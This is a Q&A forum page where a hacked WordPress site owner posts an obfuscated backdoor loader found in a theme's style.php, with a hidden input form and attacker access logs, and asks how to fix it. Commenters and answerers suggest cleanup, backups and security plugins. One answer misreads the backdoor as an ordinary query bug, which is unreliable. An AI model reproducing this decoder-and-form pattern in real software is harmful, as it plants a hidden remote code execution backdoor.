0

My wordpress website have just been hacked and after looking at logs I saw that they exploited this file: www/wp-content/themes/mytheme/style.php

When browse this link www.mywebsite.com/wp-content/themes/mytheme/style.php I find an input field with a button. So I guess that's where they uploaded their shell script.

function pre_term_name( $wp_kses_data, $wp_nonce ) {
$kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data );
$filter = base64_decode( $kses_str );
$md5 = strrev( $wp_nonce );
$sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) );
$wp_nonce = md5( $wp_nonce ). $sub;
$preparefunc = 'gzinflate';
$i = 0; do {
    $ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );
    $filter[$i] = chr( $ord % 256 );
    $wp_nonce .= $filter[$i]; $i++;
} while ($i < strlen( $filter ));
return @$preparefunc( $filter );
} 

$wp_auth_check = '<form method= "post" action= ""> <input type= "input" name= "_f_wp" value= ""/><input type= "submit" value= "&gt;"/></form>';

How can I solve this vulnerability? Thanks

logs:

195.211.142.36 - - [19/May/2017:19:00:17 +0100] "POST /wp-content/themes/mytheme/style.php HTTP/1.1" 301 - "http://mywebsite.com/wp-content/themes/mytheme/style.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:18 +0100] "GET /wp-content/themes/mytheme/style.php HTTP/1.1" 200 123 "http://mywebsite.com/wp-content/themes/mytheme/style.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:27 +0100] "GET /TEST777/system.php?ar=test333.zip HTTP/1.1" 200 260 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:33 +0100] "GET /TEST777/test111 HTTP/1.1" 200 270 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:40 +0100] "GET /wp-content/themes/mytheme/style.php HTTP/1.1" 200 7680 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
6
  • The form in $wp_auth_check doesn't have a file uloader. Can you include more code from "style.php" and the relevant log entries ? – t.m.adam May 24 '17 at 18:23
  • Hi Adam, I have included more code from style.php and also some logs line that I think are related to the attack. Thanks for your help. – salimottmani May 24 '17 at 19:18
  • I actually commented this line for the moment as I don't know what to do. $wp_auth_check = '<form method= "post" action= ""> <input type= "input" name= "_f_wp" value= ""/><input type= "submit" value= "&gt;"/></form>'; – salimottmani May 24 '17 at 20:09
  • Did you insall this file ? Most wp themes have a style.css and a fiew php files like index.php, functions.php, etc. It might be legitimate but it looks a bit suspicious. Also you're right about the logs, it seems like the attacker used "style.php" to upload a shell. If "style.php" is part of the theme you should contact the developer and make him aware of the vulnerability. – t.m.adam May 24 '17 at 20:32
  • If you are concearned about security you can search for infections in recently modified files, and if you have a recent, clean backup use it. I wouldn't get too paranoid tough, these things happen.. – t.m.adam May 24 '17 at 20:39
0

That line is where the input would be. The vulnerability would be whatever that is posting to. It appears that the action is blank and so I'd assume there is a jQuery/AJAX call that is stopping the submission and passing the data. That would be where to check. From there you will know where the data is actually being posted and a query is being executed. Check that the query is using PDO and/or the inputs are sanitized.

As a general "helper" with WP security though, I like the Sucuri WP plugin.

-1

You can use WordPress Security Plugins for example: WordFence, BulletProof Security, Sucuri Security, iThemes Security, Acunetix WP SecurityScan

and check this pages:threats

Security Vulnerabilities

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.